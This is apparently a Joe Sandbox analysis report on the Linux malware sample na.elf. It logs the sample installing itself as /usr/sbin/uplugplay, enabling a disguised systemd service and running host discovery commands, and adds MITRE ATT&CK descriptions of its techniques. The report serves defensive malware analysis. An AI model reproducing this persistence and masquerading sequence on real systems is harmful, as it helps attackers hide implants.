MD5 hash:	f58f67968fc50f1497f9ea9e9c22b6e8

Start time (UTC):	12:34:15
Start date (UTC):	26/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:15
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	sh -c "pgrep uplugplay"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:15
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:15
Start date (UTC):	26/03/2025
Path:	/usr/bin/pgrep
Arguments:	pgrep uplugplay
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Start time (UTC):	12:34:16
Start date (UTC):	26/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:16
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	sh -c "pidof uplugplay"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:16
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:16
Start date (UTC):	26/03/2025
Path:	/usr/bin/pidof
Arguments:	pidof uplugplay
File size:	27016 bytes
MD5 hash:	f58f67968fc50f1497f9ea9e9c22b6e8

Start time (UTC):	12:34:18
Start date (UTC):	26/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:18
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	sh -c "pgrep upnpsetup"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:18
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:18
Start date (UTC):	26/03/2025
Path:	/usr/bin/pgrep
Arguments:	pgrep upnpsetup
File size:	30968 bytes
MD5 hash:	fa96a75a08109d8842e4865b2907d51f

Start time (UTC):	12:34:20
Start date (UTC):	26/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:20
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	sh -c "pidof upnpsetup"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:20
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:20
Start date (UTC):	26/03/2025
Path:	/usr/bin/pidof
Arguments:	pidof upnpsetup
File size:	27016 bytes
MD5 hash:	f58f67968fc50f1497f9ea9e9c22b6e8

Start time (UTC):	12:34:23
Start date (UTC):	26/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:23
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:23
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:23
Start date (UTC):	26/03/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Start time (UTC):	12:34:24
Start date (UTC):	26/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:24
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl enable uplugplay.service"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:24
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:24
Start date (UTC):	26/03/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl enable uplugplay.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Start time (UTC):	12:34:26
Start date (UTC):	26/03/2025
Path:	/tmp/na.elf
Arguments:	-
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:26
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl start uplugplay.service"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:26
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:26
Start date (UTC):	26/03/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl start uplugplay.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Start time (UTC):	12:34:24
Start date (UTC):	26/03/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	12:34:24
Start date (UTC):	26/03/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Start time (UTC):	12:34:26
Start date (UTC):	26/03/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	12:34:26
Start date (UTC):	26/03/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Start time (UTC):	12:34:27
Start date (UTC):	26/03/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	12:34:27
Start date (UTC):	26/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	/usr/sbin/uplugplay
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:27
Start date (UTC):	26/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:28
Start date (UTC):	26/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:28
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	sh -c "/usr/sbin/uplugplay -Dcomsvc"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:28
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:28
Start date (UTC):	26/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	/usr/sbin/uplugplay -Dcomsvc
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:28
Start date (UTC):	26/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:28
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	sh -c hostnamectl
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:28
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:28
Start date (UTC):	26/03/2025
Path:	/usr/bin/hostnamectl
Arguments:	hostnamectl
File size:	26848 bytes
MD5 hash:	b1245aa6d3c28b5d5fedb2d681d32eb9

Start time (UTC):	12:34:30
Start date (UTC):	26/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:30
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	sh -c uptime
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:30
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:30
Start date (UTC):	26/03/2025
Path:	/usr/bin/uptime
Arguments:	uptime
File size:	14568 bytes
MD5 hash:	3ad70d8e33316ac713bf25c2ddf2fb14

Start time (UTC):	12:34:30
Start date (UTC):	26/03/2025
Path:	/usr/sbin/uplugplay
Arguments:	-
File size:	435932 bytes
MD5 hash:	0b9029c55fcd681efa62a48b706b3bb6

Start time (UTC):	12:34:30
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	sh -c "uname -a"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:31
Start date (UTC):	26/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:34:31
Start date (UTC):	26/03/2025
Path:	/usr/bin/uname
Arguments:	uname -a
File size:	39288 bytes
MD5 hash:	4ac7c634c5bec95753c480e9d421dcc2

Start time (UTC):	12:34:29
Start date (UTC):	26/03/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	12:34:29
Start date (UTC):	26/03/2025
Path:	/lib/systemd/systemd-hostnamed
Arguments:	/lib/systemd/systemd-hostnamed
File size:	35040 bytes
MD5 hash:	2cc8a5576629a2d5bd98e49a4b8bef65

Start time (UTC):	12:35:30
Start date (UTC):	26/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:35:30
Start date (UTC):	26/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.5CKcT7Q7ZV /tmp/tmp.HRC1kQVot4 /tmp/tmp.EXaWMqkFF1
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	12:35:30
Start date (UTC):	26/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	12:35:30
Start date (UTC):	26/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.5CKcT7Q7ZV /tmp/tmp.HRC1kQVot4 /tmp/tmp.EXaWMqkFF1
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Source: na.elf	Virustotal: Detection: 36%			Perma Link
Source: na.elf	ReversingLabs: Detection: 47%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report na.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/CommId

/memfd:snapd-env-generator (deleted)

/usr/lib/systemd/system/uplugplay.service

/usr/sbin/uplugplay

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

System Behavior

Analysis Process: na.elf PID: 6231, Parent PID: 6155

General

File Activities

File Opened

File Deleted

File Read

File Written

Linux Analysis Report
na.elf